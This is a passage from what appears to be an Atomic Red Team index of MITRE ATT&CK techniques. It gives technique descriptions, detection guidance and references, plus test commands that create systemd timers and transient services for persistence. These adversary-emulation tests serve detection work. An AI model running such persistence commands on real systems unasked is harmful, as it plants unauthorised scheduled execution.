if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior. Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1053.006: technique: modified: '2023-09-08T11:56:26.862Z' name: 'Scheduled Task/Job: Systemd Timers' description: |- Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control) Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/. An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - SarathKumar Rajendran, Trimble Inc x_mitre_deprecated: false x_mitre_detection: |- Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables. Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Command: Command Execution' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - User - root x_mitre_remote_support: true type: attack-pattern id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21 created: '2020-10-12T17:50:31.584Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/006 external_id: T1053.006 - source_name: Systemd Remote Control description: Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021. url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/ - source_name: archlinux Systemd Timers Aug 2020 description: archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020. url: https://wiki.archlinux.org/index.php/Systemd/Timers - source_name: gist Arch package compromise 10JUL2018 description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ - source_name: acroread package compromised Arch Linux Mail 8JUL2018 description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019. url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html - source_name: 'Falcon Sandbox smp: 28553b3a9d' description: Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023. url: https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300 - source_name: 'Linux man-pages: systemd January 2014' description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. url: http://man7.org/linux/man-pages/man1/systemd.1.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.006 atomic_tests: - name: Create Systemd Service and Timer auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b description: "This test creates Systemd service and timer then starts and enables the Systemd timer \n" supported_platforms: - linux input_arguments: path_to_systemd_service: description: Path to systemd service unit file type: path default: "/etc/systemd/system/art-timer.service" path_to_systemd_timer: description: Path to service timer file type: path default: "/etc/systemd/system/art-timer.timer" systemd_service_name: description: Name of systemd service type: string default: art-timer.service systemd_timer_name: description: Name of systemd service timer type: string default: art-timer.timer executor: command: | echo "[Unit]" > #{path_to_systemd_service} echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service} echo "[Service]" >> #{path_to_systemd_service} echo "Type=simple" >> #{path_to_systemd_service} echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service} echo "[Install]" >> #{path_to_systemd_service} echo "WantedBy=multi-user.target" >> #{path_to_systemd_service} echo "[Unit]" > #{path_to_systemd_timer} echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer} echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer} echo "[Timer]" >> #{path_to_systemd_timer} echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer} echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer} echo "[Install]" >> #{path_to_systemd_timer} echo "WantedBy=timers.target" >> #{path_to_systemd_timer} systemctl start #{systemd_timer_name} systemctl enable #{systemd_timer_name} systemctl daemon-reload cleanup_command: | systemctl stop #{systemd_timer_name} systemctl disable #{systemd_timer_name} rm #{path_to_systemd_service} rm #{path_to_systemd_timer} systemctl daemon-reload name: bash - name: Create a user level transient systemd service and timer auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec description: "Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if systemd-run exists on the machine ' prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Install systemd on the machine."; exit 1; ' executor: elevation_required: false command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log'' ' cleanup_command: | systemctl --user stop Atomic-Red-Team.service systemctl --user stop Atomic-Red-Team.timer rm /tmp/log name: sh - name: Create a system level transient systemd service and timer auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22 description: "Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if systemd-run exists on the machine ' prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Install systemd on the machine."; exit 1; ' executor: elevation_required: true command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log'' ' cleanup_command: | systemctl stop Atomic-Red-Team.service systemctl stop Atomic-Red-Team.timer rm /tmp/log name: sh T1542.004: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc type: attack-pattern created: '2020-10-20T00:05:48.790Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1542.004 url: https://attack.mitre.org/techniques/T1542/004 - source_name: Cisco Synful Knock Evolution url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. modified: '2021-04-29T14:49:39.188Z' name: ROMMONkit description: |- Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Firmware: Firmware Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1137.003: technique: x_mitre_platforms: - Windows - Office 365 x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634 type: attack-pattern created: '2019-11-07T20:06:02.624Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1137.003 url: https://attack.mitre.org/techniques/T1137/003 - source_name: SensePost Outlook Forms url: https://sensepost.com/blog/2017/outlook-forms-and-shells/ description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019. - source_name: Microsoft Detect Outlook Forms url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019. - source_name: SensePost NotRuler url: https://github.com/sensepost/notruler description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019. modified: '2022-04-25T14:00:00.188Z' name: Outlook Forms description: |- Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms) Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1574: technique: modified: '2023-11-21T20:02:33.404Z' name: Hijack Execution Flow description: |- Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: |- Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Monitor for changes to environment variables, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' - 'Process: Process Creation' - 'Service: Service Metadata' - 'File: File Modification' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Application Control type: attack-pattern id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6 created: '2020-03-12T20:38:12.465Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574 external_id: T1574 - source_name: Autoruns for Windows description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1543.005: technique: modified: '2024-04-16T12:35:38.832Z' name: Container Service description: |- Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host. For example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker) In Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020) Note that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Container: Container Creation' type: attack-pattern id: attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a created: '2024-02-15T13:41:46.784Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/005 external_id: T1543.005 - source_name: AppSecco Kubernetes Namespace Breakout 2020 description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024. url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 - source_name: Docker Systemd description: Docker. (n.d.). Start containers automatically. Retrieved February 15, 2024. url: https://docs.docker.com/config/containers/start-containers-automatically/ - source_name: GTFOBins Docker description: GTFOBins. (n.d.). docker. Retrieved February 15, 2024. url: https://gtfobins.github.io/gtfobins/docker/ - source_name: Kubernetes Assigning Pods to Nodes description: Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February 15, 2024. url: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/ - source_name: Kubernetes DaemonSet description: Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024. url: https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/ - source_name: Aquasec Kubernetes Attack 2023 description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023. url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters - source_name: AquaSec TeamTNT 2023 description: Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved February 15, 2024. url: https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign - source_name: Podman Systemd description: Valentin Rothberg. (2022, March 16). How to run pods as systemd services with Podman. Retrieved February 15, 2024. url: https://www.redhat.com/sysadmin/podman-run-pods-systemd-services object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078: technique: modified: '2023-05-09T14:00:00.188Z' name: Valid Accounts description: |- Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_attack_spec_version: 3.1.0 x_mitre_contributors: - Syed Ummar Farooqh, McAfee - Prasad Somasamudram, McAfee - Sekhar Sarukkai, McAfee - Jon Sternstein, Stern Security - Yossi Weizman, Azure Defender Research Team - Netskope - Mark Wee - Praetorian - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: |- Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '2.6' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' x_mitre_defense_bypassed: - Firewall - Anti-virus - Host Intrusion Prevention Systems - Network Intrusion Detection System - Application Control - System Access Controls x_mitre_effective_permissions: - User - Administrator x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 created: '2017-05-31T21:31:00.645Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078 external_id: T1078 - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: CISA MFA PrintNightmare description: Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1556.006: technique: modified: '2024-04-16T00:20:21.488Z' name: Multi-Factor Authentication description: "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Liran Ravich, CardinalOps - Muhammad Moiz Arshad, @5T34L7H x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Google Workspace - Linux - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Authentication' - 'User Account: User Account Modification' x_mitre_defense_bypassed: - Multi-Factor Authentication type: attack-pattern id: attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc created: '2022-05-31T19:31:38.431Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/006 external_id: T1556.006 - source_name: Russians Exploit Default MFA Protocol - CISA March 2022 description: Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May 31, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: Mandiant APT42 description: 'Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.' url: https://www.mandiant.com/media/17826 - source_name: Azure AD Conditional Access Exclusions description: Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022. url: https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1505.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Wes Hurd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001 type: attack-pattern created: '2021-06-03T18:44:29.770Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1505.004 url: https://attack.mitre.org/techniques/T1505/004 - source_name: Microsoft ISAPI Extension Overview 2017 url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90) description: Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021. - source_name: Microsoft ISAPI Filter Overview 2017 url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90) description: Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021. - source_name: IIS Backdoor 2011 url: https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html description: Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021. - source_name: Trustwave IIS Module 2013 url: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/ description: Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021. - source_name: Microsoft ISAPI Extension All Incoming 2017 url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90) description: Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021. - source_name: Dell TG-3390 description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage - source_name: MMPC ISAPI Filter 2012 url: https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx description: MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021. - source_name: Microsoft IIS Modules Overview 2007 url: https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview description: Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021. - source_name: ESET IIS Malware 2021 url: https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf description: Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 